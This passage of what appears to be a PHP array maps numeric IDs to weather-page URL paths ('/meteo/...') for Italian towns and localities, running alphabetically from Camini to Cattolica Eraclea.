\"/meteo/Camini\",1142 => \"/meteo/Camino\",1143 => \"/meteo/Camino+al+Tagliamento\",1144 => \"/meteo/Camisano\",1145 => \"/meteo/Camisano+vicentino\",1146 => \"/meteo/Cammarata\",1147 => \"/meteo/Camo\",1148 => \"/meteo/Camogli\",1149 => \"/meteo/Campagna\",1150 => \"/meteo/Campagna+Lupia\",1151 => \"/meteo/Campagnano+di+Roma\",1152 => \"/meteo/Campagnatico\",1153 => \"/meteo/Campagnola+cremasca\",1154 => \"/meteo/Campagnola+emilia\",1155 => \"/meteo/Campana\",1156 => \"/meteo/Camparada\",1157 => \"/meteo/Campegine\",1158 => \"/meteo/Campello+sul+Clitunno\",1159 => \"/meteo/Campertogno\",1160 => \"/meteo/Campi+Bisenzio\",1161 => \"/meteo/Campi+salentina\",1162 => \"/meteo/Campiglia+cervo\",1163 => \"/meteo/Campiglia+dei+Berici\",1164 => \"/meteo/Campiglia+marittima\",1165 => \"/meteo/Campiglione+Fenile\",8127 => \"/meteo/Campigna\",1166 => \"/meteo/Campione+d'Italia\",1167 => \"/meteo/Campitello+di+Fassa\",8155 => \"/meteo/Campitello+matese\",1168 => \"/meteo/Campli\",1169 => \"/meteo/Campo+calabro\",8754 => \"/meteo/Campo+Carlo+Magno\",8134 => \"/meteo/Campo+Catino\",8610 => \"/meteo/Campo+Cecina\",1170 => \"/meteo/Campo+di+Giove\",1171 => \"/meteo/Campo+di+Trens\",8345 => \"/meteo/Campo+Felice\",8101 => \"/meteo/Campo+imperatore\",1172 => \"/meteo/Campo+ligure\",1173 => \"/meteo/Campo+nell'Elba\",1174 => \"/meteo/Campo+San+Martino\",8135 => \"/meteo/Campo+Staffi\",8644 => \"/meteo/Campo+Tenese\",1175 => \"/meteo/Campo+Tures\",1176 => \"/meteo/Campobasso\",1177 => \"/meteo/Campobello+di+Licata\",1178 => \"/meteo/Campobello+di+Mazara\",1179 => \"/meteo/Campochiaro\",1180 => \"/meteo/Campodarsego\",1181 => \"/meteo/Campodenno\",8357 => \"/meteo/Campodimele\",1183 => \"/meteo/Campodipietra\",1184 => \"/meteo/Campodolcino\",1185 => \"/meteo/Campodoro\",1186 => \"/meteo/Campofelice+di+Fitalia\",1187 => \"/meteo/Campofelice+di+Roccella\",1188 => \"/meteo/Campofilone\",1189 => \"/meteo/Campofiorito\",1190 => \"/meteo/Campoformido\",1191 => \"/meteo/Campofranco\",1192 => \"/meteo/Campogalliano\",1193 => \"/meteo/Campolattaro\",1194 => \"/meteo/Campoli+Appennino\",1195 => \"/meteo/Campoli+del+Monte+Taburno\",1196 => \"/meteo/Campolieto\",1197 => \"/meteo/Campolongo+al+Torre\",1198 => \"/meteo/Campolongo+Maggiore\",1199 => \"/meteo/Campolongo+sul+Brenta\",8391 => \"/meteo/Campomaggiore\",1201 => \"/meteo/Campomarino\",1202 => \"/meteo/Campomorone\",1203 => \"/meteo/Camponogara\",1204 => \"/meteo/Campora\",1205 => \"/meteo/Camporeale\",1206 => \"/meteo/Camporgiano\",1207 => \"/meteo/Camporosso\",1208 => \"/meteo/Camporotondo+di+Fiastrone\",1209 => \"/meteo/Camporotondo+etneo\",1210 => \"/meteo/Camposampiero\",1211 => \"/meteo/Camposano\",1212 => \"/meteo/Camposanto\",1213 => \"/meteo/Campospinoso\",1214 => \"/meteo/Campotosto\",1215 => \"/meteo/Camugnano\",1216 => \"/meteo/Canal+San+Bovo\",1217 => \"/meteo/Canale\",1218 => \"/meteo/Canale+d'Agordo\",1219 => \"/meteo/Canale+Monterano\",1220 => \"/meteo/Canaro\",1221 => \"/meteo/Canazei\",8407 => \"/meteo/Cancellara\",1223 => \"/meteo/Cancello+ed+Arnone\",1224 => \"/meteo/Canda\",1225 => \"/meteo/Candela\",8468 => \"/meteo/Candela+casello\",1226 => \"/meteo/Candelo\",1227 => \"/meteo/Candia+canavese\",1228 => \"/meteo/Candia+lomellina\",1229 => \"/meteo/Candiana\",1230 => \"/meteo/Candida\",1231 => \"/meteo/Candidoni\",1232 => \"/meteo/Candiolo\",1233 => \"/meteo/Canegrate\",1234 => \"/meteo/Canelli\",1235 => \"/meteo/Canepina\",1236 => \"/meteo/Caneva\",8562 => \"/meteo/Canevare+di+Fanano\",1237 => \"/meteo/Canevino\",1238 => \"/meteo/Canicatti'\",1239 => \"/meteo/Canicattini+Bagni\",1240 => \"/meteo/Canino\",1241 => \"/meteo/Canischio\",1242 => \"/meteo/Canistro\",1243 => \"/meteo/Canna\",1244 => \"/meteo/Cannalonga\",1245 => \"/meteo/Cannara\",1246 => \"/meteo/Cannero+riviera\",1247 => \"/meteo/Canneto+pavese\",1248 => \"/meteo/Canneto+sull'Oglio\",8588 => \"/meteo/Cannigione\",1249 => \"/meteo/Cannobio\",1250 => \"/meteo/Cannole\",1251 => \"/meteo/Canolo\",1252 => \"/meteo/Canonica+d'Adda\",1253 => \"/meteo/Canosa+di+Puglia\",1254 => \"/meteo/Canosa+sannita\",1255 => \"/meteo/Canosio\",1256 => \"/meteo/Canossa\",1257 => \"/meteo/Cansano\",1258 => \"/meteo/Cantagallo\",1259 => \"/meteo/Cantalice\",1260 => \"/meteo/Cantalupa\",1261 => \"/meteo/Cantalupo+in+Sabina\",1262 => \"/meteo/Cantalupo+ligure\",1263 => \"/meteo/Cantalupo+nel+Sannio\",1264 => \"/meteo/Cantarana\",1265 => \"/meteo/Cantello\",1266 => \"/meteo/Canterano\",1267 => \"/meteo/Cantiano\",1268 => \"/meteo/Cantoira\",1269 => \"/meteo/Cantu'\",1270 => \"/meteo/Canzano\",1271 => \"/meteo/Canzo\",1272 => \"/meteo/Caorle\",1273 => \"/meteo/Caorso\",1274 => \"/meteo/Capaccio\",1275 => \"/meteo/Capaci\",1276 => \"/meteo/Capalbio\",8242 => \"/meteo/Capanna+Margherita\",8297 => \"/meteo/Capanne+di+Sillano\",1277 => \"/meteo/Capannoli\",1278 => \"/meteo/Capannori\",1279 => \"/meteo/Capena\",1280 => \"/meteo/Capergnanica\",1281 => \"/meteo/Capestrano\",1282 => \"/meteo/Capiago+Intimiano\",1283 => \"/meteo/Capistrano\",1284 => \"/meteo/Capistrello\",1285 => \"/meteo/Capitignano\",1286 => \"/meteo/Capizzi\",1287 => \"/meteo/Capizzone\",8609 => \"/meteo/Capo+Bellavista\",8113 => \"/meteo/Capo+Colonna\",1288 => \"/meteo/Capo+d'Orlando\",1289 => \"/meteo/Capo+di+Ponte\",8676 => \"/meteo/Capo+Mele\",8607 => \"/meteo/Capo+Palinuro\",8112 => \"/meteo/Capo+Rizzuto\",1290 => \"/meteo/Capodimonte\",1291 => \"/meteo/Capodrise\",1292 => \"/meteo/Capoliveri\",1293 => \"/meteo/Capolona\",1294 => \"/meteo/Caponago\",1295 => \"/meteo/Caporciano\",1296 => \"/meteo/Caposele\",1297 => \"/meteo/Capoterra\",1298 => \"/meteo/Capovalle\",1299 => \"/meteo/Cappadocia\",1300 => \"/meteo/Cappella+Cantone\",1301 => \"/meteo/Cappella+de'+Picenardi\",1302 => \"/meteo/Cappella+Maggiore\",1303 => \"/meteo/Cappelle+sul+Tavo\",1304 => \"/meteo/Capracotta\",1305 => \"/meteo/Capraia+e+Limite\",1306 => \"/meteo/Capraia+isola\",1307 => \"/meteo/Capralba\",1308 => \"/meteo/Capranica\",1309 => \"/meteo/Capranica+Prenestina\",1310 => \"/meteo/Caprarica+di+Lecce\",1311 => \"/meteo/Caprarola\",1312 => \"/meteo/Caprauna\",1313 => \"/meteo/Caprese+Michelangelo\",1314 => \"/meteo/Caprezzo\",1315 => \"/meteo/Capri\",1316 => \"/meteo/Capri+Leone\",1317 => \"/meteo/Capriana\",1318 => \"/meteo/Capriano+del+Colle\",1319 => \"/meteo/Capriata+d'Orba\",1320 => \"/meteo/Capriate+San+Gervasio\",1321 => \"/meteo/Capriati+a+Volturno\",1322 => \"/meteo/Caprie\",1323 => \"/meteo/Capriglia+irpina\",1324 => \"/meteo/Capriglio\",1325 => \"/meteo/Caprile\",1326 => \"/meteo/Caprino+bergamasco\",1327 => \"/meteo/Caprino+veronese\",1328 => \"/meteo/Capriolo\",1329 => \"/meteo/Capriva+del+Friuli\",1330 => \"/meteo/Capua\",1331 => \"/meteo/Capurso\",1332 => \"/meteo/Caraffa+del+Bianco\",1333 => \"/meteo/Caraffa+di+Catanzaro\",1334 => \"/meteo/Caraglio\",1335 => \"/meteo/Caramagna+Piemonte\",1336 => \"/meteo/Caramanico+terme\",1337 => \"/meteo/Carano\",1338 => \"/meteo/Carapelle\",1339 => \"/meteo/Carapelle+Calvisio\",1340 => \"/meteo/Carasco\",1341 => \"/meteo/Carassai\",1342 => \"/meteo/Carate+brianza\",1343 => \"/meteo/Carate+Urio\",1344 => \"/meteo/Caravaggio\",1345 => \"/meteo/Caravate\",1346 => \"/meteo/Caravino\",1347 => \"/meteo/Caravonica\",1348 => \"/meteo/Carbognano\",1349 => \"/meteo/Carbonara+al+Ticino\",1350 => \"/meteo/Carbonara+di+Nola\",1351 => \"/meteo/Carbonara+di+Po\",1352 => \"/meteo/Carbonara+Scrivia\",1353 => \"/meteo/Carbonate\",8374 => \"/meteo/Carbone\",1355 => \"/meteo/Carbonera\",1356 => \"/meteo/Carbonia\",1357 => \"/meteo/Carcare\",1358 => \"/meteo/Carceri\",1359 => \"/meteo/Carcoforo\",1360 => \"/meteo/Cardano+al+Campo\",1361 => \"/meteo/Carde'\",1362 => \"/meteo/Cardedu\",1363 => \"/meteo/Cardeto\",1364 => \"/meteo/Cardinale\",1365 => \"/meteo/Cardito\",1366 => \"/meteo/Careggine\",1367 => \"/meteo/Carema\",1368 => \"/meteo/Carenno\",1369 => \"/meteo/Carentino\",1370 => \"/meteo/Careri\",1371 => \"/meteo/Caresana\",1372 => \"/meteo/Caresanablot\",8625 => \"/meteo/Carezza+al+lago\",1373 => \"/meteo/Carezzano\",1374 => \"/meteo/Carfizzi\",1375 => \"/meteo/Cargeghe\",1376 => \"/meteo/Cariati\",1377 => \"/meteo/Carife\",1378 => \"/meteo/Carignano\",1379 => \"/meteo/Carimate\",1380 => \"/meteo/Carinaro\",1381 => \"/meteo/Carini\",1382 => \"/meteo/Carinola\",1383 => \"/meteo/Carisio\",1384 => \"/meteo/Carisolo\",1385 => \"/meteo/Carlantino\",1386 => \"/meteo/Carlazzo\",1387 => \"/meteo/Carlentini\",1388 => \"/meteo/Carlino\",1389 => \"/meteo/Carloforte\",1390 => \"/meteo/Carlopoli\",1391 => \"/meteo/Carmagnola\",1392 => \"/meteo/Carmiano\",1393 => \"/meteo/Carmignano\",1394 => \"/meteo/Carmignano+di+Brenta\",1395 => \"/meteo/Carnago\",1396 => \"/meteo/Carnate\",1397 => \"/meteo/Carobbio+degli+Angeli\",1398 => \"/meteo/Carolei\",1399 => \"/meteo/Carona\",8541 => \"/meteo/Carona+Carisole\",1400 => \"/meteo/Caronia\",1401 => \"/meteo/Caronno+Pertusella\",1402 => \"/meteo/Caronno+varesino\",8253 => \"/meteo/Carosello+3000\",1403 => \"/meteo/Carosino\",1404 => \"/meteo/Carovigno\",1405 => \"/meteo/Carovilli\",1406 => \"/meteo/Carpaneto+piacentino\",1407 => \"/meteo/Carpanzano\",1408 => \"/meteo/Carpasio\",1409 => \"/meteo/Carpegna\",1410 => \"/meteo/Carpenedolo\",1411 => \"/meteo/Carpeneto\",1412 => \"/meteo/Carpi\",1413 => \"/meteo/Carpiano\",1414 => \"/meteo/Carpignano+salentino\",1415 => \"/meteo/Carpignano+Sesia\",1416 => \"/meteo/Carpineti\",1417 => \"/meteo/Carpineto+della+Nora\",1418 => \"/meteo/Carpineto+romano\",1419 => \"/meteo/Carpineto+Sinello\",1420 => \"/meteo/Carpino\",1421 => \"/meteo/Carpinone\",1422 => \"/meteo/Carrara\",1423 => \"/meteo/Carre'\",1424 => \"/meteo/Carrega+ligure\",1425 => \"/meteo/Carro\",1426 => \"/meteo/Carrodano\",1427 => \"/meteo/Carrosio\",1428 => \"/meteo/Carru'\",1429 => \"/meteo/Carsoli\",1430 => \"/meteo/Cartigliano\",1431 => \"/meteo/Cartignano\",1432 => \"/meteo/Cartoceto\",1433 => \"/meteo/Cartosio\",1434 => \"/meteo/Cartura\",1435 => \"/meteo/Carugate\",1436 => \"/meteo/Carugo\",1437 => \"/meteo/Carunchio\",1438 => \"/meteo/Carvico\",1439 => \"/meteo/Carzano\",1440 => \"/meteo/Casabona\",1441 => \"/meteo/Casacalenda\",1442 => \"/meteo/Casacanditella\",1443 => \"/meteo/Casagiove\",1444 => \"/meteo/Casal+Cermelli\",1445 => \"/meteo/Casal+di+Principe\",1446 => \"/meteo/Casal+Velino\",1447 => \"/meteo/Casalanguida\",1448 => \"/meteo/Casalattico\",8648 => \"/meteo/Casalavera\",1449 => \"/meteo/Casalbeltrame\",1450 => \"/meteo/Casalbordino\",1451 => \"/meteo/Casalbore\",1452 => \"/meteo/Casalborgone\",1453 => \"/meteo/Casalbuono\",1454 => \"/meteo/Casalbuttano+ed+Uniti\",1455 => \"/meteo/Casalciprano\",1456 => \"/meteo/Casalduni\",1457 => \"/meteo/Casale+Corte+Cerro\",1458 => \"/meteo/Casale+cremasco+Vidolasco\",1459 => \"/meteo/Casale+di+Scodosia\",1460 => \"/meteo/Casale+Litta\",1461 => \"/meteo/Casale+marittimo\",1462 => \"/meteo/Casale+monferrato\",1463 => \"/meteo/Casale+sul+Sile\",1464 => \"/meteo/Casalecchio+di+Reno\",1465 => \"/meteo/Casaleggio+Boiro\",1466 => \"/meteo/Casaleggio+Novara\",1467 => \"/meteo/Casaleone\",1468 => \"/meteo/Casaletto+Ceredano\",1469 => \"/meteo/Casaletto+di+sopra\",1470 => \"/meteo/Casaletto+lodigiano\",1471 => \"/meteo/Casaletto+Spartano\",1472 => \"/meteo/Casaletto+Vaprio\",1473 => \"/meteo/Casalfiumanese\",1474 => \"/meteo/Casalgrande\",1475 => \"/meteo/Casalgrasso\",1476 => \"/meteo/Casalincontrada\",1477 => \"/meteo/Casalino\",1478 => \"/meteo/Casalmaggiore\",1479 => \"/meteo/Casalmaiocco\",1480 => \"/meteo/Casalmorano\",1481 => \"/meteo/Casalmoro\",1482 => \"/meteo/Casalnoceto\",1483 => \"/meteo/Casalnuovo+di+Napoli\",1484 => \"/meteo/Casalnuovo+Monterotaro\",1485 => \"/meteo/Casaloldo\",1486 => \"/meteo/Casalpusterlengo\",1487 => \"/meteo/Casalromano\",1488 => \"/meteo/Casalserugo\",1489 => \"/meteo/Casaluce\",1490 => \"/meteo/Casalvecchio+di+Puglia\",1491 => \"/meteo/Casalvecchio+siculo\",1492 => \"/meteo/Casalvieri\",1493 => \"/meteo/Casalvolone\",1494 => \"/meteo/Casalzuigno\",1495 => \"/meteo/Casamarciano\",1496 => \"/meteo/Casamassima\",1497 => \"/meteo/Casamicciola+terme\",1498 => \"/meteo/Casandrino\",1499 => \"/meteo/Casanova+Elvo\",1500 => \"/meteo/Casanova+Lerrone\",1501 => \"/meteo/Casanova+Lonati\",1502 => \"/meteo/Casape\",1503 => \"/meteo/Casapesenna\",1504 => \"/meteo/Casapinta\",1505 => \"/meteo/Casaprota\",1506 => \"/meteo/Casapulla\",1507 => \"/meteo/Casarano\",1508 => \"/meteo/Casargo\",1509 => \"/meteo/Casarile\",1510 => \"/meteo/Casarsa+della+Delizia\",1511 => \"/meteo/Casarza+ligure\",1512 => \"/meteo/Casasco\",1513 => \"/meteo/Casasco+d'Intelvi\",1514 => \"/meteo/Casatenovo\",1515 => \"/meteo/Casatisma\",1516 => \"/meteo/Casavatore\",1517 => \"/meteo/Casazza\",8160 => \"/meteo/Cascate+del+Toce\",1518 => \"/meteo/Cascia\",1519 => \"/meteo/Casciago\",1520 => \"/meteo/Casciana+terme\",1521 => \"/meteo/Cascina\",1522 => \"/meteo/Cascinette+d'Ivrea\",1523 => \"/meteo/Casei+Gerola\",1524 => \"/meteo/Caselette\",1525 => \"/meteo/Casella\",1526 => \"/meteo/Caselle+in+Pittari\",1527 => \"/meteo/Caselle+Landi\",1528 => \"/meteo/Caselle+Lurani\",1529 => \"/meteo/Caselle+torinese\",1530 => \"/meteo/Caserta\",1531 => \"/meteo/Casier\",1532 => \"/meteo/Casignana\",1533 => \"/meteo/Casina\",1534 => \"/meteo/Casirate+d'Adda\",1535 => \"/meteo/Caslino+d'Erba\",1536 => \"/meteo/Casnate+con+Bernate\",1537 => \"/meteo/Casnigo\",1538 => \"/meteo/Casola+di+Napoli\",1539 => \"/meteo/Casola+in+lunigiana\",1540 => \"/meteo/Casola+valsenio\",1541 => \"/meteo/Casole+Bruzio\",1542 => \"/meteo/Casole+d'Elsa\",1543 => \"/meteo/Casoli\",1544 => \"/meteo/Casorate+Primo\",1545 => \"/meteo/Casorate+Sempione\",1546 => \"/meteo/Casorezzo\",1547 => \"/meteo/Casoria\",1548 => \"/meteo/Casorzo\",1549 => \"/meteo/Casperia\",1550 => \"/meteo/Caspoggio\",1551 => \"/meteo/Cassacco\",1552 => \"/meteo/Cassago+brianza\",1553 => \"/meteo/Cassano+allo+Ionio\",1554 => \"/meteo/Cassano+d'Adda\",1555 => \"/meteo/Cassano+delle+murge\",1556 => \"/meteo/Cassano+irpino\",1557 => \"/meteo/Cassano+Magnago\",1558 => \"/meteo/Cassano+Spinola\",1559 => \"/meteo/Cassano+valcuvia\",1560 => \"/meteo/Cassaro\",1561 => \"/meteo/Cassiglio\",1562 => \"/meteo/Cassina+de'+Pecchi\",1563 => \"/meteo/Cassina+Rizzardi\",1564 => \"/meteo/Cassina+valsassina\",1565 => \"/meteo/Cassinasco\",1566 => \"/meteo/Cassine\",1567 => \"/meteo/Cassinelle\",1568 => \"/meteo/Cassinetta+di+Lugagnano\",1569 => \"/meteo/Cassino\",1570 => \"/meteo/Cassola\",1571 => \"/meteo/Cassolnovo\",1572 => \"/meteo/Castagnaro\",1573 => \"/meteo/Castagneto+Carducci\",1574 => \"/meteo/Castagneto+po\",1575 => \"/meteo/Castagnito\",1576 => \"/meteo/Castagnole+delle+Lanze\",1577 => \"/meteo/Castagnole+monferrato\",1578 => \"/meteo/Castagnole+Piemonte\",1579 => \"/meteo/Castana\",1580 => \"/meteo/Castano+Primo\",1581 => \"/meteo/Casteggio\",1582 => \"/meteo/Castegnato\",1583 => \"/meteo/Castegnero\",1584 => \"/meteo/Castel+Baronia\",1585 => \"/meteo/Castel+Boglione\",1586 => \"/meteo/Castel+bolognese\",1587 => \"/meteo/Castel+Campagnano\",1588 => \"/meteo/Castel+Castagna\",1589 => \"/meteo/Castel+Colonna\",1590 => \"/meteo/Castel+Condino\",1591 => \"/meteo/Castel+d'Aiano\",1592 => \"/meteo/Castel+d'Ario\",1593 => \"/meteo/Castel+d'Azzano\",1594 => \"/meteo/Castel+del+Giudice\",1595 => \"/meteo/Castel+del+monte\",1596 => \"/meteo/Castel+del+piano\",1597 => \"/meteo/Castel+del+rio\",1598 => \"/meteo/Castel+di+Casio\",1599 => \"/meteo/Castel+di+Ieri\",1600 => \"/meteo/Castel+di+Iudica\",1601 => \"/meteo/Castel+di+Lama\",1602 => \"/meteo/Castel+di+Lucio\",1603 => \"/meteo/Castel+di+Sangro\",1604 => \"/meteo/Castel+di+Sasso\",1605 => \"/meteo/Castel+di+Tora\",1606 => \"/meteo/Castel+Focognano\",1607 => \"/meteo/Castel+frentano\",1608 => \"/meteo/Castel+Gabbiano\",1609 => \"/meteo/Castel+Gandolfo\",1610 => \"/meteo/Castel+Giorgio\",1611 => \"/meteo/Castel+Goffredo\",1612 => \"/meteo/Castel+Guelfo+di+Bologna\",1613 => \"/meteo/Castel+Madama\",1614 => \"/meteo/Castel+Maggiore\",1615 => \"/meteo/Castel+Mella\",1616 => \"/meteo/Castel+Morrone\",1617 => \"/meteo/Castel+Ritaldi\",1618 => \"/meteo/Castel+Rocchero\",1619 => \"/meteo/Castel+Rozzone\",1620 => \"/meteo/Castel+San+Giorgio\",1621 => \"/meteo/Castel+San+Giovanni\",1622 => \"/meteo/Castel+San+Lorenzo\",1623 => \"/meteo/Castel+San+Niccolo'\",1624 => \"/meteo/Castel+San+Pietro+romano\",1625 => \"/meteo/Castel+San+Pietro+terme\",1626 => \"/meteo/Castel+San+Vincenzo\",1627 => \"/meteo/Castel+Sant'Angelo\",1628 => \"/meteo/Castel+Sant'Elia\",1629 => \"/meteo/Castel+Viscardo\",1630 => \"/meteo/Castel+Vittorio\",1631 => \"/meteo/Castel+volturno\",1632 => \"/meteo/Castelbaldo\",1633 => \"/meteo/Castelbelforte\",1634 => \"/meteo/Castelbellino\",1635 => \"/meteo/Castelbello+Ciardes\",1636 => \"/meteo/Castelbianco\",1637 => \"/meteo/Castelbottaccio\",1638 => \"/meteo/Castelbuono\",1639 => \"/meteo/Castelcivita\",1640 => \"/meteo/Castelcovati\",1641 => \"/meteo/Castelcucco\",1642 => \"/meteo/Casteldaccia\",1643 => \"/meteo/Casteldelci\",1644 => \"/meteo/Casteldelfino\",1645 => \"/meteo/Casteldidone\",1646 => \"/meteo/Castelfidardo\",1647 => \"/meteo/Castelfiorentino\",1648 => \"/meteo/Castelfondo\",1649 => \"/meteo/Castelforte\",1650 => \"/meteo/Castelfranci\",1651 => \"/meteo/Castelfranco+di+sopra\",1652 => \"/meteo/Castelfranco+di+sotto\",1653 => \"/meteo/Castelfranco+Emilia\",1654 => \"/meteo/Castelfranco+in+Miscano\",1655 => \"/meteo/Castelfranco+Veneto\",1656 => \"/meteo/Castelgomberto\",8385 => \"/meteo/Castelgrande\",1658 => \"/meteo/Castelguglielmo\",1659 => \"/meteo/Castelguidone\",1660 => \"/meteo/Castell'alfero\",1661 => \"/meteo/Castell'arquato\",1662 => \"/meteo/Castell'azzara\",1663 => \"/meteo/Castell'umberto\",1664 => \"/meteo/Castellabate\",1665 => \"/meteo/Castellafiume\",1666 => \"/meteo/Castellalto\",1667 => \"/meteo/Castellammare+del+Golfo\",1668 => \"/meteo/Castellammare+di+Stabia\",1669 => \"/meteo/Castellamonte\",1670 => \"/meteo/Castellana+Grotte\",1671 => \"/meteo/Castellana+sicula\",1672 => \"/meteo/Castellaneta\",1673 => \"/meteo/Castellania\",1674 => \"/meteo/Castellanza\",1675 => \"/meteo/Castellar\",1676 => \"/meteo/Castellar+Guidobono\",1677 => \"/meteo/Castellarano\",1678 => \"/meteo/Castellaro\",1679 => \"/meteo/Castellazzo+Bormida\",1680 => \"/meteo/Castellazzo+novarese\",1681 => \"/meteo/Castelleone\",1682 => \"/meteo/Castelleone+di+Suasa\",1683 => \"/meteo/Castellero\",1684 => \"/meteo/Castelletto+Cervo\",1685 => \"/meteo/Castelletto+d'Erro\",1686 => \"/meteo/Castelletto+d'Orba\",1687 => \"/meteo/Castelletto+di+Branduzzo\",1688 => \"/meteo/Castelletto+Merli\",1689 => \"/meteo/Castelletto+Molina\",1690 => \"/meteo/Castelletto+monferrato\",1691 => \"/meteo/Castelletto+sopra+Ticino\",1692 => \"/meteo/Castelletto+Stura\",1693 => \"/meteo/Castelletto+Uzzone\",1694 => \"/meteo/Castelli\",1695 => \"/meteo/Castelli+Calepio\",1696 => \"/meteo/Castellina+in+chianti\",1697 => \"/meteo/Castellina+marittima\",1698 => \"/meteo/Castellinaldo\",1699 => \"/meteo/Castellino+del+Biferno\",1700 => \"/meteo/Castellino+Tanaro\",1701 => \"/meteo/Castelliri\",1702 => \"/meteo/Castello+Cabiaglio\",1703 => \"/meteo/Castello+d'Agogna\",1704 => \"/meteo/Castello+d'Argile\",1705 => \"/meteo/Castello+del+matese\",1706 => \"/meteo/Castello+dell'Acqua\",1707 => \"/meteo/Castello+di+Annone\",1708 => \"/meteo/Castello+di+brianza\",1709 => \"/meteo/Castello+di+Cisterna\",1710 => \"/meteo/Castello+di+Godego\",1711 => \"/meteo/Castello+di+Serravalle\",1712 => \"/meteo/Castello+Lavazzo\",1714 => \"/meteo/Castello+Molina+di+Fiemme\",1713 => \"/meteo/Castello+tesino\",1715 => \"/meteo/Castellucchio\",8219 => \"/meteo/Castelluccio\",1716 => \"/meteo/Castelluccio+dei+Sauri\",8395 => \"/meteo/Castelluccio+inferiore\",8359 => \"/meteo/Castelluccio+superiore\",1719 => \"/meteo/Castelluccio+valmaggiore\",8452 => \"/meteo/Castelmadama+casello\",1720 => \"/meteo/Castelmagno\",1721 => \"/meteo/Castelmarte\",1722 => \"/meteo/Castelmassa\",1723 => \"/meteo/Castelmauro\",8363 => \"/meteo/Castelmezzano\",1725 => \"/meteo/Castelmola\",1726 => \"/meteo/Castelnovetto\",1727 => \"/meteo/Castelnovo+Bariano\",1728 => \"/meteo/Castelnovo+del+Friuli\",1729 => \"/meteo/Castelnovo+di+sotto\",8124 => \"/meteo/Castelnovo+ne'+Monti\",1731 => \"/meteo/Castelnuovo\",1732 => \"/meteo/Castelnuovo+Belbo\",1733 => \"/meteo/Castelnuovo+Berardenga\",1734 => \"/meteo/Castelnuovo+bocca+d'Adda\",1735 => \"/meteo/Castelnuovo+Bormida\",1736 => \"/meteo/Castelnuovo+Bozzente\",1737 => \"/meteo/Castelnuovo+Calcea\",1738 => \"/meteo/Castelnuovo+cilento\",1739 => \"/meteo/Castelnuovo+del+Garda\",1740 => \"/meteo/Castelnuovo+della+daunia\",1741 => \"/meteo/Castelnuovo+di+Ceva\",1742 => \"/meteo/Castelnuovo+di+Conza\",1743 => \"/meteo/Castelnuovo+di+Farfa\",1744 => \"/meteo/Castelnuovo+di+Garfagnana\",1745 => \"/meteo/Castelnuovo+di+Porto\",1746 => \"/meteo/Castelnuovo+di+val+di+Cecina\",1747 => \"/meteo/Castelnuovo+Don+Bosco\",1748 => \"/meteo/Castelnuovo+Magra\",1749 => \"/meteo/Castelnuovo+Nigra\",1750 => \"/meteo/Castelnuovo+Parano\",1751 => \"/meteo/Castelnuovo+Rangone\",1752 => \"/meteo/Castelnuovo+Scrivia\",1753 => \"/meteo/Castelpagano\",1754 => \"/meteo/Castelpetroso\",1755 => \"/meteo/Castelpizzuto\",1756 => \"/meteo/Castelplanio\",1757 => \"/meteo/Castelpoto\",1758 => \"/meteo/Castelraimondo\",1759 => \"/meteo/Castelrotto\",1760 => \"/meteo/Castelsantangelo+sul+Nera\",8378 => \"/meteo/Castelsaraceno\",1762 => \"/meteo/Castelsardo\",1763 => \"/meteo/Castelseprio\",1764 => \"/meteo/Castelsilano\",1765 => \"/meteo/Castelspina\",1766 => \"/meteo/Casteltermini\",1767 => \"/meteo/Castelveccana\",1768 => \"/meteo/Castelvecchio+Calvisio\",1769 => \"/meteo/Castelvecchio+di+Rocca+Barbena\",1770 => \"/meteo/Castelvecchio+Subequo\",1771 => \"/meteo/Castelvenere\",1772 => \"/meteo/Castelverde\",1773 => \"/meteo/Castelverrino\",1774 => \"/meteo/Castelvetere+in+val+fortore\",1775 => \"/meteo/Castelvetere+sul+Calore\",1776 => \"/meteo/Castelvetrano\",1777 => \"/meteo/Castelvetro+di+Modena\",1778 => \"/meteo/Castelvetro+piacentino\",1779 => \"/meteo/Castelvisconti\",1780 => \"/meteo/Castenaso\",1781 => \"/meteo/Castenedolo\",1782 => \"/meteo/Castiadas\",1783 => \"/meteo/Castiglion+Fibocchi\",1784 => \"/meteo/Castiglion+fiorentino\",8193 => \"/meteo/Castiglioncello\",1785 => \"/meteo/Castiglione+a+Casauria\",1786 => \"/meteo/Castiglione+chiavarese\",1787 => \"/meteo/Castiglione+cosentino\",1788 => \"/meteo/Castiglione+d'Adda\",1789 => \"/meteo/Castiglione+d'Intelvi\",1790 => \"/meteo/Castiglione+d'Orcia\",1791 => \"/meteo/Castiglione+dei+Pepoli\",1792 => \"/meteo/Castiglione+del+Genovesi\",1793 => \"/meteo/Castiglione+del+Lago\",1794 => \"/meteo/Castiglione+della+Pescaia\",1795 => \"/meteo/Castiglione+delle+Stiviere\",1796 => \"/meteo/Castiglione+di+garfagnana\",1797 => \"/meteo/Castiglione+di+Sicilia\",1798 => \"/meteo/Castiglione+Falletto\",1799 => \"/meteo/Castiglione+in+teverina\",1800 => \"/meteo/Castiglione+Messer+Marino\",1801 => \"/meteo/Castiglione+Messer+Raimondo\",1802 => \"/meteo/Castiglione+Olona\",1803 => \"/meteo/Castiglione+Tinella\",1804 => \"/meteo/Castiglione+torinese\",1805 => \"/meteo/Castignano\",1806 => \"/meteo/Castilenti\",1807 => \"/meteo/Castino\",1808 => \"/meteo/Castione+Andevenno\",1809 => \"/meteo/Castione+della+Presolana\",1810 => \"/meteo/Castions+di+Strada\",1811 => \"/meteo/Castiraga+Vidardo\",1812 => \"/meteo/Casto\",1813 => \"/meteo/Castorano\",8723 => \"/meteo/Castore\",1814 => \"/meteo/Castrezzato\",1815 => \"/meteo/Castri+di+Lecce\",1816 => \"/meteo/Castrignano+de'+Greci\",1817 => \"/meteo/Castrignano+del+Capo\",1818 => \"/meteo/Castro\",1819 => \"/meteo/Castro\",1820 => \"/meteo/Castro+dei+Volsci\",8167 => \"/meteo/Castro+Marina\",1821 => \"/meteo/Castrocaro+terme+e+terra+del+Sole\",1822 => \"/meteo/Castrocielo\",1823 => \"/meteo/Castrofilippo\",1824 => \"/meteo/Castrolibero\",1825 => \"/meteo/Castronno\",1826 => \"/meteo/Castronuovo+di+Sant'Andrea\",1827 => \"/meteo/Castronuovo+di+Sicilia\",1828 => \"/meteo/Castropignano\",1829 => \"/meteo/Castroreale\",1830 => \"/meteo/Castroregio\",1831 => \"/meteo/Castrovillari\",1832 => \"/meteo/Catania\",8273 => \"/meteo/Catania+Fontanarossa\",1833 => \"/meteo/Catanzaro\",1834 => \"/meteo/Catenanuova\",1835 => \"/meteo/Catignano\",8281 => \"/meteo/Catinaccio\",1836 => \"/meteo/Cattolica\",1837 => \"/meteo/Cattolica+Eraclea\",1838 => 